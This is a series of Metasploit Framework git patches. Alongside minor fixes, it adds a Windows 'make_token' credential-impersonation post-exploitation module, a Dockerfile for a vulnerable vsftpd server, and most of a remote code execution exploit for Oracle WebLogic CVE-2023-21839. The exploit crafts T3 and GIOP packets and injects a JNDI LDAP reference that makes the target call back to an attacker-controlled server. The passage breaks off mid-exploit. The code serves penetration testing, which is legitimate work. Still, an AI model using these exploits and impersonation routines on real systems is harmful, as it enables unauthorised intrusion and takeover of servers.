b/lib/msf/core/exploit/remote/smb/client/psexec.rb index 79fa58a0ba20f..632787579c595 100644 --- a/lib/msf/core/exploit/remote/smb/client/psexec.rb +++ b/lib/msf/core/exploit/remote/smb/client/psexec.rb @@ -241,7 +241,7 @@ def execute_command_payload(smbshare) def execute_command(text, bat, cmd) # Try and execute the provided command - cmd = cmd.gsub('&', '^&') + cmd = Msf::Post::Windows.escape_cmd_literal(cmd, spaces: false) execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" vprint_status("Executing the command: #{execute}") begin diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index 8733b8ea87079..fbeb92603a71b 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -1,4 +1,18 @@ # -*- coding: binary -*- module Msf::Post::Windows + # Escape a string literal value to be included as an argument to cmd.exe. The escaped value *should not* be placed + # within double quotes as this will alter now it is evaluated (e.g. `echo "^"((^&test) Foo^""` is different than + # `echo ^"((^&test) Foo^"`. + # + # @param [String] string The string to escape for use with cmd.exe. + # @param [Boolean] spaces Whether or not to escape spaces. If the string is being passed to echo, set this to false + # otherwise if it's an argument, set it to true. + # @return [String] The escaped string. + def self.escape_cmd_literal(string, spaces:) + string = string.dup + %w[ ^ & < > | " ].each { |char| string.gsub!(char, "^#{char}") } + string.gsub!(' ', '" "') if spaces + string + end end From ed5d516c219b34c2dd4ecd7fbfc5b5341ce14a7c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 23 May 2023 15:18:00 -0400 Subject: [PATCH 180/415] Sync the .NET working path for Powershell sessions See: https://github.com/PowerShell/PowerShell/issues/10278 --- lib/msf/core/post/file.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index a06fe282c7fc2..051f2d46d3eb6 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -49,7 +49,7 @@ def cd(path) if session.type == 'meterpreter' session.fs.dir.chdir(e_path) elsif session.type == 'powershell' - cmd_exec("Set-Location -Path \"#{e_path}\"") + cmd_exec("Set-Location -Path \"#{e_path}\";[System.IO.Directory]::SetCurrentDirectory($(Get-Location))") else session.shell_command_token("cd \"#{e_path}\"") end From b32780945050d849904eb820ae0689a641508b29 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Wed, 24 May 2023 09:28:41 +0200 Subject: [PATCH 181/415] Changes regarding auxiliary modules Changed back some modifications of includes and functions definitions that were related to exploit modules. --- modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 1faeb88329760..8d2a819f7378a 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -8,7 +8,6 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Module::Failure - prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -50,7 +49,7 @@ def initialize(info = {}) ) end - def check + def check_host(_ip) res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) From 3a685849a88b4fc9457e33e29a4bc0589887c55e Mon Sep 17 00:00:00 2001 From: attl4s Date: Wed, 24 May 2023 10:33:52 +0200 Subject: [PATCH 182/415] add update_token bridge + make_token module --- .../extensions/stdapi/command_ids.rb | 1 + .../extensions/stdapi/sys/config.rb | 10 ++ .../post/meterpreter/extensions/stdapi/tlv.rb | 1 + modules/post/windows/manage/make_token.rb | 94 +++++++++++++++++++ 4 files changed, 106 insertions(+) create mode 100644 modules/post/windows/manage/make_token.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb b/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb index 2cdf10658eb87..bff8669904aee 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb @@ -129,6 +129,7 @@ module Stdapi COMMAND_ID_STDAPI_AUDIO_MIC_LIST = EXTENSION_ID_STDAPI + 117 COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE = EXTENSION_ID_STDAPI + 118 COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH = EXTENSION_ID_STDAPI + 119 +COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN = EXTENSION_ID_STDAPI + 120 end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 725a0f0028fcc..3cca78ea97e20 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -166,6 +166,16 @@ def drop_token client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end + # + # Updates the current token for impersonation + # + def update_token(token_handle) + req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN) + req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i) + res = client.send_request(req) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_TOKEN_UPDATE_RESULT) ) + end + # # Enables all possible privileges # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 924838a4af554..61510b794b524 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -142,6 +142,7 @@ module Stdapi TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047 TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048 TLV_TYPE_BUILD_TUPLE = TLV_META_TYPE_STRING | 1049 +TLV_TYPE_TOKEN_UPDATE_RESULT = TLV_META_TYPE_STRING | 1050 # Environment TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb new file mode 100644 index 0000000000000..c9a4f8db0d82f --- /dev/null +++ b/modules/post/windows/manage/make_token.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Make Token Command', + 'Description' => %q{ + In its default configuration, this module creates a new network security context with the specified + logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and + a new logon session is created and linked to that token. The token is then impersonated to acquire + the new network security context. This module has no effect on local actions - only on remote ones + (where the specified credential material will be used). This module does not validate the credentials + specified. + }, + 'License' => MSF_LICENSE, + 'Notes' => { + 'AKA' => ['make_token', 'maketoken'] + }, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => [ + 'Daniel López Jiménez (attl4s)', + 'Simone Salucci (saim1z)' + ], + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + stdapi_sys_config_revert_to_self + stdapi_sys_config_update_token + ] + } + } + ) + ) + + register_options( + [ + OptString.new('DOMAIN', [true, 'Domain to use' ]), + OptString.new('USER', [true, 'Username to use' ]), + OptString.new('PASSWORD', [true, 'Password to use' ]) + ] + ) + + register_advanced_options( + [ + OptString.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS']) + ] + ) + end + + def run + # Make sure we meet the requirements before running the script, note no need to return + # unless error + return unless session.type == 'meterpreter' + + # check/set vars + user = datastore['USER'] + password = datastore['PASSWORD'] + domain = datastore['DOMAIN'] + logontype = datastore['LOGONTYPE'] + + # revert any existing impersonation before doing a new one + print_status("Executing rev2self to revert any previous token impersonations") + session.sys.config.revert_to_self + + # create new logon session / token pair + print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}") + logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4) + + if logon_user['return'] + # get the token handle + ph_token = logon_user['phToken'] + print_status("Impersonating the new security context...") + + # store the token within the server + session.sys.config.update_token(ph_token) + print_good("The session should now run with the new security context!") + + # send warning + if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS' + print_warning("Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)") + end + else + print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}") + end + end +end From 42ef5ad3227b8a3ef3f7bf71a5884d535753df83 Mon Sep 17 00:00:00 2001 From: attl4s Date: Wed, 24 May 2023 16:12:12 +0200 Subject: [PATCH 183/415] remove TLV_TYPE_TOKEN_UPDATE_RESULT - update_token sends empty response when succeeds --- lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb | 1 - lib/rex/post/meterpreter/extensions/stdapi/tlv.rb | 1 - 2 files changed, 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 3cca78ea97e20..309b5562cb058 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -173,7 +173,6 @@ def update_token(token_handle) req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN) req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i) res = client.send_request(req) - client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_TOKEN_UPDATE_RESULT) ) end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 61510b794b524..924838a4af554 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -142,7 +142,6 @@ module Stdapi TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047 TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048 TLV_TYPE_BUILD_TUPLE = TLV_META_TYPE_STRING | 1049 -TLV_TYPE_TOKEN_UPDATE_RESULT = TLV_META_TYPE_STRING | 1050 # Environment TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 From 623657b0721a1bca1fb9259851f2b908e2657c2d Mon Sep 17 00:00:00 2001 From: attl4s Date: Wed, 24 May 2023 16:28:56 +0200 Subject: [PATCH 184/415] Logontype changed to OptEnum + better meterpreter session requirement check --- modules/post/windows/manage/make_token.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb index c9a4f8db0d82f..78698eea3c3fd 100644 --- a/modules/post/windows/manage/make_token.rb +++ b/modules/post/windows/manage/make_token.rb @@ -50,15 +50,14 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS']) + OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]), ] ) end def run - # Make sure we meet the requirements before running the script, note no need to return - # unless error - return unless session.type == 'meterpreter' + # Make sure we meet the requirements before running the script + fail_with(Failure::NoTarget, 'This exploit requires a meterpreter session') unless session.type == 'meterpreter' # check/set vars user = datastore['USER'] From 240fd65d0c1cb00a58acf5a5de39a871e1a0f741 Mon Sep 17 00:00:00 2001 From: attl4s Date: Wed, 24 May 2023 16:30:38 +0200 Subject: [PATCH 185/415] module, not exploit --- modules/post/windows/manage/make_token.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/make_token.rb b/modules/post/windows/manage/make_token.rb index 78698eea3c3fd..1c90555589665 100644 --- a/modules/post/windows/manage/make_token.rb +++ b/modules/post/windows/manage/make_token.rb @@ -57,7 +57,7 @@ def initialize(info = {}) def run # Make sure we meet the requirements before running the script - fail_with(Failure::NoTarget, 'This exploit requires a meterpreter session') unless session.type == 'meterpreter' + fail_with(Failure::NoTarget, 'This module requires a meterpreter session') unless session.type == 'meterpreter' # check/set vars user = datastore['USER'] From 0aee634d672c196c7d9f8f91f534011f14c43298 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 24 May 2023 10:48:31 -0400 Subject: [PATCH 186/415] Put authors on separate lines --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 6ce3e31dfe2be..7769202606696 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -15,7 +15,12 @@ def initialize(info = {}) 'Description' => %q{ This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2, but is reported to work on 2.3.0 as well. }, - 'Author' => [ 'Nick Cottrell ', 'Anna Graterol ', 'Mana Mostaani ' ], + 'Author' => [ + 'Nick Cottrell (Rad10Logic) ', # Module Creator + 'Anna Graterol ', # Vuln researcher + 'Mana Mostaani ', + 'Maksymilian Arciemowicz' # Original EDB PoC + ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '46617' ], From 9c58289b21450a741f2e76512d0042e0f416ef33 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 24 May 2023 10:54:31 -0400 Subject: [PATCH 187/415] Added container info in documentation --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 40827d59415b2..165877f3b60fc 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -33,3 +33,32 @@ msf6 auxiliary(dos/ftp/vstfpd_232) > run ``` You can verify that it works by either attempting to ftp into the machine after or checking htop on the machine. If the CPU is at max capacity, that would be due to the DOS. + +## VSFTPD 2.3.2 - Arch Linux Docker + +A simple container was created to easily test this vulnerability. To easily run a vulnerable instance of this application, build this image from this Dockerfile. + +```dockerfile +FROM archlinux:latest as build +RUN pacman -Sy --noconfirm gcc make libnsl +RUN curl -O https://security.appspot.com/downloads/vsftpd-2.3.2.tar.gz +RUN tar zxf vsftpd-2.3.2.tar.gz +WORKDIR /vsftpd-2.3.2 +RUN make +RUN mkdir -p /usr/share/empty/ +RUN chmod +x /vsftpd-2.3.2/vsftpd +RUN mv /vsftpd-2.3.2/vsftpd /bin/vsftpd +RUN mv /vsftpd-2.3.2/vsftpd.conf /etc/vsftpd.conf +RUN chown root:root /etc/vsftpd.conf +EXPOSE 21 +CMD [ "/bin/vsftpd" ] +``` + +From there, you can run the instance of the container with this line + +```bash +sudo docker build -t vsftpd:2.3.2 . +sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2 +``` + +Run the module against this container and the container will either slow down or crash entirely. From d00d339de552b9f2ddb5ef0808b49d185e25d416 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 26 Apr 2023 12:48:46 -0500 Subject: [PATCH 188/415] Initial copy with JNDI connection back to LDAP server. --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 520 ++++++++++++++++++ 1 file changed, 520 insertions(+) create mode 100644 modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb new file mode 100644 index 0000000000000..19674a0ad3405 --- /dev/null +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -0,0 +1,520 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + prepend Msf::Exploit::Remote::AutoCheck + + # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. + GIOP_REQUEST = 0 + GIOP_REPLY = 1 + GIOP_CANCEL_REQUEST = 2 + GIOP_LOCATE_REQUEST = 3 + GIOP_LOCATE_REPLY = 4 + GIOP_CLOSE_CONNECTION = 5 + GIOP_MESSAGE_ERROR = 6 + GIOP_FRAGMENT = 7 + + OBJECT_FORWARD = "\x00\x00\x00\x02" + + # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF + SYNCSCOPE_NONE = 0 + SYNCSCOPE_WITH_TRANSPORT = 0 + SYNCSCOPE_WITH_SERVER = 1 + SYNCSCOPE_WITH_TARGET = 3 + + # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF + ADDR_DISPOSITION_KEYADDR = 0 + ADDR_DISPOSITION_PROFILE_ADDR = 1 + ADDR_DISPOSITION_REFERENCE_ADDR = 2 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', + 'License' => MSF_LICENSE, + 'Author' => [ + '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. + '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. + 'Grant Willcox' # @tekwizz123 This Metasploit module + ], + 'Description' => %q{ + TO WRITE + }, + 'References' => [ + ['CVE', '2023-21839'], + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Research%20on%20WebLogic%20After-Deserialization.md'], + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Linux', + { + 'Arch' => [ARCH_X64, ARCH_X86], + 'Platform' => 'linux', + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] + } + ], + [ + 'Windows', + { + 'Arch' => [ARCH_X64, ARCH_X86], + 'Platform' => 'win', + 'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm'] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-01-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(7001), + OptAddress.new('LDAP_IP', [true, 'IP Address of the target LDAP server for the JNDI connection']), + OptPort.new('LDAP_PORT', [true, 'Port for the JNDI connection to be made on to the target LDAP server']), + OptString.new('LDAP_URL', [true, 'URL to use when making the JNDI connection to the target LDAP server']) + ] + ) + end + + def get_weblogic_version + socket = connect + socket.put("GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + res = socket.get + fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res + + # Disconnect as we will want a new socket for future connections. + disconnect + + # Do the regex on the result to find the version. + version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) + fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? + version = version[1] + + Rex::Version.new(version) + end + + def giop_header(msg_type) + header = '' + header << 'GIOP' # Magic + header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. + header << "\x00" # Message flags + case msg_type + when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT + header << [msg_type].pack('C') + else + fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') + end + header << 'LENGTH_REPLACE_ME' + end + + # LocateRequest packets are used to determine whether an object reference is valid, + # whether the current server is capable of directly receiving request for the object reference, + # and if not, to what address the request for the object should be sent. + # + # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 + def giop_locate_request_packet(keyaddress = 'NameService') + header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [0].pack('n') # TargetAddress, 2 byte field + data << [0].pack('n') # Padding, 2 bytes + data << [keyaddress.length].pack('N') # Key Address Length + data << keyaddress + + packet << header + packet << data + packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) + + packet + end + + def create_service_context(vscid, scid, context_data, endian = 0) + context = '' + seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. + context << vscid # 3 byte long VSCID + context << [scid].pack('C') # 1 byte long SCID + context << [seq_length].pack('N') # 4 byte long sequence length + context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. + context << context_data + + context + end + + def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "rebind_any\x00" # Request Operation + + service_context_list = '' + service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + stub_data += "\x27ldap://#{datastore['LDAP_IP']}:#{datastore['LDAP_PORT']}#{datastore['LDAP_URL']}" # Not sure why the backtick is here but hey. + + data << service_context_list + data << stub_data + + packet << header + packet << data + + packet + end + + def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "resolve\x00" # Request Operation + + service_context_list = '' + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + cos_data = '' + if cos_naming_disector + cos_data << "\x00\x00\x00\x00" + cos_data << [seq_len].pack('N') # Sequence length + name_component = "test\x00" + cos_data << [name_component.length].pack('N') # Name component length including NULL byte. + cos_data << name_component + cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. + end + + data << service_context_list + data << cos_data + + packet << header + packet << data + + packet + end + + def check + begin + @version = get_weblogic_version + fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? + rescue ::Timeout::Error + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + rescue Rex::AddressInUse + fail_with(Failure::BadConfig, 'Address is currently in use') + rescue Rex::HostUnreachable + fail_with(Failure::Unreachable, 'Target host is unreachable!') + rescue Rex::ConnectionRefused + fail_with(Failure::Disconnected, 'Target refused connection!') + rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + end + + if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') + else + return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') + end + end + + def exploit + if @version.blank? + @version = get_weblogic_version + end + + # Step 1 - Make T3 connection to start IIOP connection process, and read response. + socket = connect + print_status('1. Making T3 connection...') + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{datastore['RHOST']}:#{datastore['RPORT']}\n\n") + _buf = socket.get + disconnect + print_good('Made T3 connection!') + + # Step 2 - Send first GIOP LocateRequest packet + print_status('2. Sending first GIOP LocateRequest packet') + # Make a GIOP LocateRequest packet request and read response. + socket = connect + socket.put(giop_locate_request_packet) + locate_buf = socket.get + disconnect + print_good('Step 2 complete!') + + if locate_buf[0x10..0x13] != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') + end + + # Calculate the target port + + # Start at offset 0x60 which will be inside the GIOP's LocateReply message, + # and will be where the IP address is located in the IOR response. + port_offset = 0x60 + + # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. + # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, + # and the upper part will never be used. Either that or there is a \x00\x00 padding section + # between the IP address and the port. + loop do + if locate_buf[port_offset] != "\x00" + port_offset += 0x1 + else + break + end + end + + # If port_offset is too large by this point then we have likely hit an error and should exit + if port_offset > 10240 + fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') + end + + # Now, loop until we hit a non-zero byte in the IOR buffer. This should + # place at the location of the port part of the IP address that is embedded in the IOR message. + loop do + if locate_buf[port_offset] == "\x00" + port_offset += 0x1 + else + break + end + end + + port = [] + port.append(locate_buf[port_offset]) + port_offset += 1 + port.append(locate_buf[port_offset]) + + # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. + final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) + + # Fail if the received port is not the one we expected. + if final_port != datastore['RPORT'] + fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") + end + + lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. + foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U + + loop do + if locate_buf[foff] == "\x00" + foff += 0x1 + else + break + end + end + + key1 = locate_buf[foff...foff + 8] + key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] + + if @version.between?(Rex::Version.new('12.0.0.0.0'), Rex::Version.new('12.9999999.999999.999999.99999')) + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + elsif @version.between?(Rex::Version.new('14.0.0.0.0'), 